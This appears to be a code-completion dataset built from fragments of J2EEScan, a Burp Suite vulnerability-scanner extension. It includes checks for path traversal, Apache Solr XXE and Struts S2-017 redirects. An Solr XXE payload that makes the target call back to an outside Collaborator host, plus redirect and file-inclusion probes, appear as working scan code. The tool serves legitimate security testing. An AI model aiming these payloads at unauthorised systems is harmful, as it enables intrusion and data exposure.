// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContextAndNestedPath(URL url) {
//
// String path = url.getPath();
// int i = path.lastIndexOf('/');
// String context = path.substring(0, i + 1);
//
// return (StringUtils.countMatches(context, "/") == 3) ? context : "";
// }
// Path: src/main/java/burp/j2ee/issues/impl/InfrastructurePathTraversal.java
import burp.j2ee.CustomScanIssue;
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getApplicationContextAndNestedPath;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
baseRequestResponse.getHttpService(),
urlToTest,
new CustomHttpRequestResponse(utf8LFIAttempt, responseBytes, baseRequestResponse.getHttpService()),
TITLE,
DESCRIPTION,
REMEDY,
Risk.Low,
Confidence.Certain
));
return issues;
}
} catch (MalformedURLException ex) {
stderr.println(ex);
} catch (Exception ex) {
stderr.println(ex);
}
}
}
}
/**
* Local file include on the application context
*
* Ex: http://www.example.com/myapp/Login
*
* Retrieve the myapp context and test the LFI payloads on it
*
* Ex: http://www.example.com/myapp/{FUZZ_LFI_PAYLOADS}
*/ | String context = getApplicationContext(url); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/InfrastructurePathTraversal.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContextAndNestedPath(URL url) {
//
// String path = url.getPath();
// int i = path.lastIndexOf('/');
// String context = path.substring(0, i + 1);
//
// return (StringUtils.countMatches(context, "/") == 3) ? context : "";
// }
| import burp.j2ee.CustomScanIssue;
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getApplicationContextAndNestedPath;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern; | /**
* Local file include on the application context
*
* Ex: http://www.example.com/myapp/Login
*
* Retrieve the myapp context and test the LFI payloads on it
*
* Ex: http://www.example.com/myapp/{FUZZ_LFI_PAYLOADS}
*/
String context = getApplicationContext(url);
if (context.isEmpty()) {
return issues;
}
List<String> toTest = new ArrayList();
toTest.add(system + "/" + context);
/**
*
* Implement basic strategies for path traversal on static resource
* paths (js, css)
*
* Ex: http://www.example.com/myapp/static/css/test.css
*
* Ex: http://www.example.com/myapp/static/css/{FUZZ_LFI_PAYLOADS}
*
*/
if (url.getPath().contains(".js") || url.getPath().contains(".css")) { | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContextAndNestedPath(URL url) {
//
// String path = url.getPath();
// int i = path.lastIndexOf('/');
// String context = path.substring(0, i + 1);
//
// return (StringUtils.countMatches(context, "/") == 3) ? context : "";
// }
// Path: src/main/java/burp/j2ee/issues/impl/InfrastructurePathTraversal.java
import burp.j2ee.CustomScanIssue;
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getApplicationContextAndNestedPath;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* Local file include on the application context
*
* Ex: http://www.example.com/myapp/Login
*
* Retrieve the myapp context and test the LFI payloads on it
*
* Ex: http://www.example.com/myapp/{FUZZ_LFI_PAYLOADS}
*/
String context = getApplicationContext(url);
if (context.isEmpty()) {
return issues;
}
List<String> toTest = new ArrayList();
toTest.add(system + "/" + context);
/**
*
* Implement basic strategies for path traversal on static resource
* paths (js, css)
*
* Ex: http://www.example.com/myapp/static/css/test.css
*
* Ex: http://www.example.com/myapp/static/css/{FUZZ_LFI_PAYLOADS}
*
*/
if (url.getPath().contains(".js") || url.getPath().contains(".css")) { | String contextAndNestedPath = getApplicationContextAndNestedPath(url); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/ApacheSolrXXE.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.util.ArrayList;
import java.util.List; | + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12629<br />"
+ "https://www.exploit-db.com/exploits/43009/";
private static final String REMEDY = "It's reccomended to apply the security patch provided by the mantainer:<br />"
+ "https://issues.apache.org/jira/browse/SOLR-11482<br />"
+ "https://issues.apache.org/jira/browse/SOLR-11477<br />"
+ "https://wiki.apache.org/solr/SolrSecurity";
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
String xxesolr = "{!xmlparser v='<!DOCTYPE a SYSTEM \"http://%s/xxe\"><a></a>'}";
// Collaborator context
IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
String xxePayload = String.format(xxesolr, currentCollaboratorPayload);
byte[] checkRequest = insertionPoint.buildRequest(xxePayload.getBytes());
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
// Poll Burp Collaborator for remote interaction
List<IBurpCollaboratorInteraction> collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
if (!collaboratorInteractions.isEmpty()) { | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/ApacheSolrXXE.java
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.util.ArrayList;
import java.util.List;
+ "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12629<br />"
+ "https://www.exploit-db.com/exploits/43009/";
private static final String REMEDY = "It's reccomended to apply the security patch provided by the mantainer:<br />"
+ "https://issues.apache.org/jira/browse/SOLR-11482<br />"
+ "https://issues.apache.org/jira/browse/SOLR-11477<br />"
+ "https://wiki.apache.org/solr/SolrSecurity";
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
String xxesolr = "{!xmlparser v='<!DOCTYPE a SYSTEM \"http://%s/xxe\"><a></a>'}";
// Collaborator context
IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
String xxePayload = String.format(xxesolr, currentCollaboratorPayload);
byte[] checkRequest = insertionPoint.buildRequest(xxePayload.getBytes());
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
// Poll Burp Collaborator for remote interaction
List<IBurpCollaboratorInteraction> collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
if (!collaboratorInteractions.isEmpty()) { | issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2017.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.util.ArrayList;
import java.util.List; | package burp.j2ee.issues.impl;
public class ApacheStrutsS2017 implements IModule {
private static final String TITLE = "Apache Struts S2-017 Injection - Arbitrary Redirect";
private static final String DESCRIPTION = "J2EEscan identified an Arbitrary Redirect vulnerability;"
+ "the Struts 2 DefaultActionMapper supports a "
+ "method for short-circuit navigation state changes by prefixing "
+ "parameters with <i>action:</i> or <i>redirect:</i>, "
+ "followed by a desired navigational target expression. "
+ "This mechanism was intended to help with attaching navigational "
+ "information to buttons within forms.<br /><br />"
+ "In Struts 2 before 2.3.15.1 the information following <i>action:</i>, <i>redirect:</i> "
+ "or <i>redirectAction:</i> is not properly sanitized. "
+ "<br /><br />Since said information will be evaluated as OGNL expression"
+ " against the value stack, this introduces the possibility to inject "
+ "server side code.<br /><br />"
+ "<b>References</b>:<br /><br />"
+ "http://struts.apache.org/release/2.3.x/docs/s2-017.html<br />"
+ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2248";
private static final String REMEDY = "Update the remote Struts vulnerable library";
private PrintWriter stderr;
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL curURL = reqInfo.getUrl();
byte[] modifiedRawRequest = null;
List<IScanIssue> issues = new ArrayList<>();
| // Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2017.java
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
package burp.j2ee.issues.impl;
public class ApacheStrutsS2017 implements IModule {
private static final String TITLE = "Apache Struts S2-017 Injection - Arbitrary Redirect";
private static final String DESCRIPTION = "J2EEscan identified an Arbitrary Redirect vulnerability;"
+ "the Struts 2 DefaultActionMapper supports a "
+ "method for short-circuit navigation state changes by prefixing "
+ "parameters with <i>action:</i> or <i>redirect:</i>, "
+ "followed by a desired navigational target expression. "
+ "This mechanism was intended to help with attaching navigational "
+ "information to buttons within forms.<br /><br />"
+ "In Struts 2 before 2.3.15.1 the information following <i>action:</i>, <i>redirect:</i> "
+ "or <i>redirectAction:</i> is not properly sanitized. "
+ "<br /><br />Since said information will be evaluated as OGNL expression"
+ " against the value stack, this introduces the possibility to inject "
+ "server side code.<br /><br />"
+ "<b>References</b>:<br /><br />"
+ "http://struts.apache.org/release/2.3.x/docs/s2-017.html<br />"
+ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2248";
private static final String REMEDY = "Update the remote Struts vulnerable library";
private PrintWriter stderr;
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL curURL = reqInfo.getUrl();
byte[] modifiedRawRequest = null;
List<IScanIssue> issues = new ArrayList<>();
| if (!isJavaApplicationByURL(curURL)) { |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2017.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.util.ArrayList;
import java.util.List; | List<IParameter> parameters = reqInfo.getParameters();
//Remove URI parameters
for (IParameter param : parameters) {
rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
}
rawrequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter(redir, "http://www.example.com/%23", IParameter.PARAM_URL)
);
//TODO Fix me hack
String utf8rawRequest = new String(rawrequest, "UTF-8");
modifiedRawRequest = utf8rawRequest.replaceFirst("=", "").getBytes();
// make a request containing our injection test in the insertion point
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), modifiedRawRequest);
IResponseInfo modifiedResponseInfo = callbacks.getHelpers().analyzeResponse(checkRequestResponse.getResponse());
int statusCode = modifiedResponseInfo.getStatusCode();
if (statusCode >= 300 && statusCode < 400) {
for (String header : modifiedResponseInfo.getHeaders()) {
if (header.toLowerCase().startsWith("location")) {
}
if (header.substring(header.indexOf(":") + 1).trim().startsWith("http://www.example.com/")) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
